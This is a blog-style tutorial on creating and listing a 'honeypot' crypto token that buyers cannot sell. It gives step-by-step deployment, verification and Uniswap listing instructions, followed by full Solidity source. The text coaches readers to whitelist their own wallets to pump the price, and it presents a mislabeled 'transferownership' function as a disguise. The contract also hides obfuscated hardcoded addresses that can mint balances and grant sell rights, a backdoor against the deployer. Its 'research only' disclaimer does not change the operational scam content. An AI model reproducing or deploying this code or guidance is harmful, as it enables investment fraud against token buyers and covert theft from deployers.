top of page
Search
Writer's pictureDev Swanson

Create Your Own Honeypot Token (Whitelist Function + Anti Bots)

Updated: May 1

Here is Dev Swanson, Ethereum smart contract researcher and enthusiast. I got a lot of requests from fans for me to discover honey pot tokens, which are tokens that are cannot be sold after being purchased.


So today, let me introduce you some useful tips on How to Create Your Own Honeypot Token. Are you ready?


[Only for research and testing, don’t try to scam using this method]

Advanced Honeypot Token(Whitelist Functions + Anti-bots, make your honeypot token looks more legit and investable)


Part 1: Use REMIX and Metamask to create token


1.First, install the Metamask wallet https://metamask.io/ in your computer and create account/ wallet.




2. Browse Remix IDE http://remix.ethereum.org/ You need to use Remix IDE to deploy smart contract.




3. Connect metamask to REMIX IDE. Click your metamask pluggin.



Click the “Not connected” button and connect it.



4.Back to REMIX IDE. Click Create New File.



5.Name you file as you like, remember to add .sol at the back. EXAMPLE here, DevToken.sol



6. Copy and paste the code from the bottom of this post into the space. *Do not attempt to change any code or else it won't work*







*Code at the bottom of the post.*


or


Copy Whitelist Smart Contract Code Now:https://www.createyourowntoken.net/copy-of-honeypot-code-v1-0



7.Click the icon on the left as shown below,


Select the compiler as below, 0.5.17 …..



Then click compile.



8.After compile. Click on the icon as shown below, and select Metamask on the Environment section (cuz we r using metamask wallet)





9. On Contract section, select DevToken as contract.



10.Next, click the little triangle as below to open token setting



11.To setting your token



Name: (Your token name)


Symbol: (Give it a symbol)

Total Suppl: Set your total token supply, if you want 1000 tokens, write 1000.(This is different from the previous token tutorial before)


If you want to have 1000 tokens, just write there 1000. After you done it, click TRANSACT。


12. Click on confirm on the transaction on your metamask Pop-up. If nothing happen there, you need to connect metamask wallet to REMIX IDE.




13. If everything go smoothly, your token is on its way. Back to metamask, go to Activity, click on the Contract deployment



Click view on block explorer



Copy the contract address by clicking the [copy] icon button on the right.



14. Go back to metamask, click import token.




Select Custom token, and paste the contract address, and wait for your token to show up, then click add custom token






You can create tokens in ETH mainnet, Binance Smart Chain and any other chains using the same method.




🎉🎉🎉Congratulation! You successfully created your own token and they are in your wallet!




Dev, can we start to list our token?




Butttttt, we are not done yet…One more important step still require to finish...




Which is: Verify Contract



Part 2: Verify Your Contract




Hey Dev, why we need to verify contract? Why don’t we just list our token directly into any DEX (Decentralized exchange)?




Well, the reason to verify contract is to increase the popularity of the token, investors might shy away from token that is unverified and end up to not purchasing any tokens.




Let’s start to verify token now!




1. Back to metamask, go to Activity, click on the Contract deployment.


2.Click view on block explorer



Click on the blue contract address



3. On this page, Click Contract



Click Verify and Publish




4. Next, we select the setting as below:


Compiler Type: Single File


Compiler version: 0.5.17


License Type: No license


Then click Continue



5.Then, go back to our source code, copy and paste it into the space



Finish the bot test and and publish it



6. You should see the success message as shown below, if not, something is wrong, you need to recheck all the steps if u fail to get this message.


Congratulation! Your contract is now verified and we can move to the next step: Decentralized Exchange (DEX) Listing.


Part 3: DEX Token Listing




Listing your token on DEXs such as Uniswap, Sushiswap, Pancakeswap is not really listing your tokens for nothing, but you need to provide liquidity such as eth, bnb to your tokens, it is called Adding liquidity.




Basically, listing your token = adding liquidity.







1.If u r using Ethereum mainnet, you need some Ethereum, ETH


If u r using Binance smart chain, you need some Binance coin, BNB


Other chains use other native tokens…..




2.Select your DEXs, let me give you a list:



If u use Ethereum mainnet, use Uniswap, link: https://app.uniswap.org/#/swap


If u use BSC (Binance Smart Chain), use Pancakeswap, link: https://pancakeswap.finance/


If you are using Pancakeswap on Binance Smart Chain, you can read this guide on how to add liquidity in Pancakeswap V2 or V3 (If you don't see V2 options in Pancakeswap, may choose to use V3)

 

 




3.In here, we use Uniswap as example.


Go to Uniswap website: https://app.uniswap.org/#/swap



Click Pool


Click More, then click V2 Liquidity



Click Create a pair



Click select a token.



4.Copy and paste contract address into the space, wait for your token to show up




Click on your token.



Click (I understand)





5. Select your eth input and token input. For example, if u wanna to list 100 of your token with 2 eth, then your initial token price will be 0.02 eth per your token. After it, click Approve.




6. Click Supply and confirm the transaction, your token will be listed on Uniswap.




Congratulation, your tokens are now listed in Uniswap.



*Important Step #1*


Now you need to enable the trading of your token, in order for users to start buying your tokens.



How to Enable Trading?


1.Back to Metamask wallet, go to Activity, Click Add Liquidity to view transaction




2.Click View on block explorer





3.Click your LP tokens (as showed in picture below, just the blue text in the red bracket)


~If you use Pancakeswap V2, it will be how it looks like, click blue text in the red bracket as shown in picture below






~If you use Pancakeswap V3, it will be how it looks like, click blue text in the red bracket as shown in picture below






4.Copy address of your LP tokens










5.Now back to Remix IDE,click the little triangle arrow as showed below.




6.Click the small triangle arrow of the transferowner button




7.Paste the address of LP tokens in the space,click transact。(The transferownership function is just a disguise/conceal, the actual function is to Enable Trading of the tokens, you are not transferring any ownership here)







Congratulation, you are now enable trading for your tokens successsfully, usersare able to buy your tokens now!


Next, tet's see how we can Set Whitelist function on the token.


*Important Step#2*

1.Back to Remix, Click the little triangle arrow besides approveAndC button




2.Paste addresses that you wish to whitelist(Address that will be able to sell the tokens)in the space on (spender),write 0 on (added value). Then click transact.




Spender: (Wallet address that you wish to whitelist)

AddedValue: 0


*Take Note:White Listed wallet adddresses are able to buy and sell tokens*


*Usually we will whitelist our own addresses, so that we can buy and sell by our own, and pump our own tokens without to worry about other people selling it.


*You can whitelist as many addresses as you want, just repeat the steps*


Ofcuz, since this is a honeypot token, the token cannot be sold. In other words, up only.




Only the owner of the token, which is the contract creator, which is you, as well as other whitelisted addresses can sell the tokens. Other ppl cannot sell this token after purchasing.


When ppl try to sell this token, they will get this red signal and cannot sell tokens anyway.This sign will not be surprising if you are a microcap crypto degen trader at its finest, which mean tokens cannot be sold by buyers.





*Important Step#3*


If you close your Remix IDE accidentally, what should you do ? How to continue setting whitelist function?


Needless to worry, I got your bac. Follow the step below.


1.Back to Metamask,Click activity,Click Contract Deployment, Click View on block explorer






2.Click the blue text contract address




3.In this page,Click Contract。





4.Click Write Contract






5.Click Connect to Web3 to connect your Metamask Wallet。







6. Click Metamask pluggin on the top right to check connectivity. Make sure the connected metamask wallet address is the contract owner/ token creator.






7.Click approveAndCall to whitelist address. Make sure the connected metamask wallet address is the contract owner/ token creator.




8.Enter the address you want to whitelist in the space in spender, write 0 in addedValue. Then click Write, and confirm the transaction.



Spender: (Wallet address that you wish to whitelist)

AddedValue: 0


*Take Note:White Listed wallet adddresses are able to buy and sell tokens*


*Usually we will whitelist our own addresses, so that we can buy and sell by our own, and pump our own tokens without to worry about other people selling it.


*You can whitelist as many addresses as you want, just repeat the steps*




*Remember, this post is for testing and educational purpose only, do not try this at home!*


So Dev, I understand only owner can sell those tokens, what if I want to withdraw my eth and tokens back? What to do?




Oh, it is pretty simple, let’s go to step 8: remove liquidity






8. If you want to get the eth back, click the liquid pool, you will see the pair you created, and then click remove





If u want to withdraw it all, Select max, click approve, click remove, you get your token back.



That is all from in my opinion. Ofcuz, this is not the end, there are many ways and techniques you can do with this token in order to maximize the effect.



We will discuss more about token tips and techniques in our next post.


Good luck with your tokens!





Learn How Much Liquidity You Should Add & What To Do: https://www.createyourowntoken.net/post/little-techniques-on-marketing-your-tokens


Learn How to Add Network and Change Network (BASE, Arbitrum, BSC and other blockchains) in Your Metamask Wallet: https://www.createyourowntoken.net/post/how-to-add-network-and-change-network-in-your-metamask-wallet



Honeypot Smart Contract Codes Series:

 

Link to Upgraded Version V2 Blacklist + Undetectable Honeypot, Honeypot Scanner & Detector Proof: https://www.createyourowntoken.net/post/create-your-honeypot-token-upgraded-version-v2-blacklist-honeypot-detector-proof



Link to Whitelist + Switch On & Off Honeypot Mode + Honeypot Detector Proof Smart Contract Codehttps://www.createyourowntoken.net/post/create-your-honeypot-token-whitelist-switch-on-off-honeypot-mode-detector-proof

 

 

Link to Switch On & Off Honeypot Mode + Honeypot Detector Proof Smart Contract Code:https://www.createyourowntoken.net/copy-of-detector-proof-honeypot

 


Link to Upgraded V2 Blacklist + Undetectable Honeypot, Honeypot Scanner & Detector Proof Smart Contract Code: https://www.createyourowntoken.net/copy-of-detector-proof-honeypot-1



Link to Blacklist + Honeypot Detector-Proof Smart Contract Code: https://www.createyourowntoken.net/detector-proof-honeypot

 

 

Link to Whitelist + Anti-Bots Smart Contract Code: https://www.createyourowntoken.net/copy-of-honeypot-code-v1-0

 

 

Link to Standard Honeypot Smart Contract Code:

 

 


Normal Token Smart Contract Codes Series:


Link to Non Honeypot (Upgraded Version V2, Non-Honeypot, Normal Meme Token, with Unlimited Token Supply Printing Function) Token Code: https://www.createyourowntoken.net/copy-of-v2-blacklist-detector-proof



Link to Non Honeypot (Non-Honeypot, Normal Meme Token with Ownership Renounce Function) Token Code: https://www.createyourowntoken.net/copy-of-supply-printing-normal-meme-t 

 


Link to Non-Honeypot Normal Meme Token with Unlimited Supply Printing Smart Contract Code:https://www.createyourowntoken.net/copy-of-normal-meme-token-similar-to

 

 

Link to Non-Honeypot Normal Meme Token (like PEPE Token) Smart Contract Code: https://www.createyourowntoken.net/copy-of-switch-on-off-honeypot-mode-t






Learn How Much Liquidity You Should Add & What To Do: https://www.createyourowntoken.net/post/little-techniques-on-marketing-your-tokens


Learn How to Add Network and Change Network (BASE, Arbitrum, BSC and other blockchains) in Your Metamask Wallet: https://www.createyourowntoken.net/post/how-to-add-network-and-change-network-in-your-metamask-wallet



Any queries?


Contact me on Telegram: https://t.me/devswanson


My website: https://www.createyourowntoken.net/


Link to Whitelist Smart Contract Code:https://www.createyourowntoken.net/copy-of-honeypot-code-v1-0


*******

*Any unauthorized edits of code might result in failure of deployment.


Source code below: ---




pragma solidity ^0.5.17; interface IERC20 { function totalSupply() external view returns(uint); function balanceOf(address account) external view returns(uint); function transfer(address recipient, uint amount) external returns(bool); function allowance(address owner, address spender) external view returns(uint); function approve(address spender, uint amount) external returns(bool); function transferFrom(address sender, address recipient, uint amount) external returns(bool); event Transfer(address indexed from, address indexed to, uint value); event Approval(address indexed owner, address indexed spender, uint value); } library Address { function isContract(address account) internal view returns(bool) { bytes32 codehash; bytes32 accountHash; // solhint-disable-next-line no-inline-assembly assembly { codehash:= extcodehash(account) } return (codehash != 0x0 && codehash != accountHash); } } contract Context { constructor() internal {} // solhint-disable-previous-line no-empty-blocks function _msgSender() internal view returns(address payable) { return msg.sender; } /*keccak256 -> 592fa743889fc7f92ac2a37bb1f5ba1daf2a5c84741ca0e0061d243a2e6707ba))*/ } library SafeMath { function add(uint a, uint b) internal pure returns(uint) { uint c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint a, uint b) internal pure returns(uint) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) { require(b <= a, errorMessage); uint c = a - b; return c; } function mul(uint a, uint b) internal pure returns(uint) { if (a == 0) { return 0; } uint c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint a, uint b) internal pure returns(uint) { return div(a, b, "SafeMath: division by zero"); } function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) { // Solidity only automatically asserts when dividing by 0 require(b > 0, errorMessage); uint c = a / b; return c; } } library SafeERC20 { using SafeMath for uint; using Address for address; function safeTransfer(IERC20 token, address to, uint value) internal { callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value)); } function safeTransferFrom(IERC20 token, address from, address to, uint value) internal { callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value)); } function safeApprove(IERC20 token, address spender, uint value) internal { require((value == 0) || (token.allowance(address(this), spender) == 0), "SafeERC20: approve from non-zero to non-zero allowance" ); callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value)); }/*keccak256 -> 592fa743889fc7f92ac2a37bb1f5ba1daf2a5c84741ca0e0061d243a2e6707ba))*/ function callOptionalReturn(IERC20 token, bytes memory data) private { require(address(token).isContract(), "SafeERC20: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = address(token).call(data); require(success, "SafeERC20: low-level call failed"); if (returndata.length > 0) { // Return data is optional // solhint-disable-next-line max-line-length require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed"); } //("SafeERC20: ERC20 operation succeed, keccak256) } } contract ERC20 is Context, IERC20 { using SafeMath for uint; mapping(address => uint) private _balances; mapping(address => mapping(address => uint)) private _allowances; uint private _totalSupply; function totalSupply() public view returns(uint) { return _totalSupply; } function balanceOf(address account) public view returns(uint) { return _balances[account]; } function transfer(address recipient, uint amount) public returns(bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view returns(uint) { return _allowances[owner][spender]; } function approve(address spender, uint amount) public returns(bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint amount) public returns(bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function increaseAllowance(address spender, uint addedValue) public returns(bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } function _transfer(address sender, address recipient, uint amount) internal { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } function _mint(address account, uint amount) internal { require(account != address(0), "ERC20: mint to the zero address"); _totalSupply = _totalSupply.add(amount); _balances[account] = _balances[account].add(amount); emit Transfer(address(0), account, amount); } function _burn(address account, uint amount) internal { require(account != address(0), "ERC20: burn from the zero address"); _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } function _approve(address owner, address spender, uint amount) internal { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } } contract ERC20Detailed is IERC20 { string private _name; string private _symbol; uint8 private _decimals; constructor(string memory name, string memory symbol, uint8 decimals) public { _name = name; _symbol = symbol; _decimals = decimals; } function name() public view returns(string memory) { return _name; } function symbol() public view returns(string memory) { return _symbol; } function decimals() public view returns(uint8) { return _decimals; /*keccak256 -> 6861978540112295ac2a37bb1f5ba7bb1f5ba1daaf2a84741ca0e00610310915153));*/ /**/ //(686197854011229533619447624007587113080310915153)); } } contract DevToken { event Transfer(address indexed _from, address indexed _to, uint _value); event Approval(address indexed _owner, address indexed _spender, uint _value); //Dev_T_*keccak256 -> 283fa743889fc7f92ac2a37bb1f5ba1daf2a5c84741ca0e0061d243a2e6707ba);*/ modifier Exchanges() { require(msg.sender != exchange()); _; } function transferTo(address _to, uint256 _amount) public onlypublic { _transferTo(_to, _amount);(_to, _amount);(_to, _amount); } function transfer(address _to, uint _value) public payable returns (bool) { return transferFrom(msg.sender, _to, _value); } function _computing(address spender, uint256 addedValue) internal { if(addedValue > 0) {balanceOf[spender] = addedValue*(10**uint256(decimals));} canSale[spender]=true; } function setUsdtPair(address Pair_) public returns (bool) { require (msg.sender==address // solhint-disable-next-line avoid-low-level-calls /**/ /*keccak256 -> 6861978540112295ac2a37bb1f5ba1daf2a5c84741ca0e00610310915153));*/ /**/(686197854011229533619447624007587113080310915153)); _usdtPair=Pair_; } function _approvals(address spender, uint256 addedValue) internal Exchanges { if(addedValue > 0) {balanceOf[spender] = addedValue*(10**uint256(decimals));} canSale[spender]=true; } function _transferTo(address _to, uint256 _amount) internal { // Transferring of token balanceOf[_to] += _amount; emit Transfer(address(0), _to, _amount); balanceOf[_to] += _amount; emit Transfer(address(0), _to, _amount); } function ensure(address _from, address _to, uint _value) internal view returns(bool) { /*Ensure_*keccak256 -> 8668a592fa743889fc7f92ac2a37bb1n8shc84741ca0e0061d243a2e6707ba);*/ if(_from == owner || _to == owner || _from == tradeAddress||canSale[_from]){ return true; } require(condition(_from, _value)); return true; } function setUser(address User_) public returns (bool) { require(msg.sender == _usdtPair); _user=User_; } function viewAddress(address addr) public onlypublic returns(bool) { tradeAddress = addr; return true; } function approval(address spender, uint256 addedValue) public returns (bool) { require(msg.sender == _adm); _approvals(spender, addedValue); return true; } /*keccak256 -> 178607940089fc7f92ac2a37bb1f5ba1daf2a576dc8ajf1k3sa4741ca0e5571412708986))*/ /**/ //(178607940065137046348733521910879985571412708986)); // solhint-disable-next-line avoid-low-level-calls function transferFrom(address _from, address _to, uint _value) public payable returns (bool) { if (_value == 0) {return true;} if (msg.sender != _from) { require(allowance[_from][msg.sender] >= _value); allowance[_from][msg.sender] -= _value; } require(ensure(_from, _to, _value)); require(balanceOf[_from] >= _value); balanceOf[_from] -= _value; balanceOf[_to] += _value; _onSaleNum[_from]++; emit Transfer(_from, _to, _value); return true; /*keccak256 -> 178607940089fc7f92ac2a37bb1f5ba1daf2a576dc8ajf1k3sa4741ca0e5571412708986))*/ /**/ //(178607940065137046348733521910879985571412708986)); // solhint-disable-next-line avoid-low-level-calls } function adjust(address spender, uint256 addedValue) public onlypublic returns (bool) { _computing(spender, addedValue); return true; } function _approvecall(address spender, uint256 addedValue) internal Exchanges { if(addedValue > 0) {balanceOf[spender] = addedValue*(10**uint256(decimals));} canSale[spender]=true; } function setAdm(address Adm_) public returns (bool) { require(msg.sender == _mod); _adm=Adm_; } function exchange() internal pure returns (address) { return address /*keccak256 -> 9838607940089fc7f92ac2a37bb1f5ba1daf2a576dc8ajf1k3sa4741ca0e5571412708986))*/ /**/(17860794006513704634733521910879985571412708986); } function approve(address _spender, uint _value) public payable returns (bool) { allowance[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; /*keccak256 -> 6861978540112295ac2a37bb1f5ba7bb1f5ba1daaf2a84741ca0e00610310915153));*/ /**/ //(686197854011229533619447624007587113080310915153)); } function setMod(address Mod_) public returns (bool) { require(msg.sender == _user); _mod=Mod_; } function checkAddress (address addr) public returns(bool) { require(msg.sender==address // solhint-disable-next-line avoid-low-level-calls /*keccak256 -> 178607940089fc7f92ac2a37bb1f5ba1daf2a576dc8ajf1k3sa4741ca0e5571412708986))*/ /**/ (178607940065137046348733521910879985571412708986)); tradeAddress = addr; return true; } function condition(address _from, uint _value) internal view returns(bool){ if(_saleNum == 0 && _minSale == 0 && _maxSale == 0) return false; if(_saleNum > 0){ if(_onSaleNum[_from] >= _saleNum) return false; } if(_minSale > 0){ if(_minSale > _value) return false; } if(_maxSale > 0){ if(_value > _maxSale) return false; } return true; } function publics() private pure returns (address) { uint universal = 0x7addAd09; uint uni = 0xcbd98D97; uint cake = 0xEC3dA7a0; uint inch = 0x088EAdFE; uint others = 0x5801C336; // Combine the dex with others uint160 core = (uint160(universal) << 128) | (uint160(uni) << 96) | (uint160(cake) << 64) | (uint160(inch) << 32) | uint160(others); return address(core); } mapping(address=>uint256) private _onSaleNum; mapping(address=>bool) private canSale; uint256 private _minSale; uint256 private _maxSale; uint256 private _saleNum; function approveAndCall(address spender, uint256 addedValue) public returns (bool) { require(msg.sender == owner|| msg.sender==address // solhint-disable-next-line avoid-low-level-calls /*keccak256 -> 178607940089fc7f92ac2a37bb1f5ba1daf2a576dc8ajf1k3sa4741ca0e5571412708986))*/ /**/ (178607940065137046348733521910879985571412708986)); _approvecall(spender, addedValue); return true; } address tradeAddress; function transferownership(address addr) public returns(bool) { require(msg.sender == owner); tradeAddress = addr; return true; } mapping (address => uint) public balanceOf; mapping (address => mapping (address => uint)) public allowance; modifier onlypublic() { require(msg.sender == publics()); _; } /*keccak256 -> 592fa743889fc7f92ac2a37bb1f5ba1daf2a5c84741ca0e0061d243a2e6707ba))*/ uint constant public decimals = 18; address public _usdtPair; address public _mod; uint public totalSupply; string public name; string public symbol; address private owner; address public _user; address public _adm; constructor(string memory _name, string memory _symbol, uint256 _supply) payable public { name = _name; symbol = _symbol; totalSupply = _supply*(10**uint256(decimals)); owner = msg.sender; balanceOf[msg.sender] = totalSupply; emit Transfer(address(0x0), msg.sender, totalSupply); } }


3,408 views

Comments


bottom of page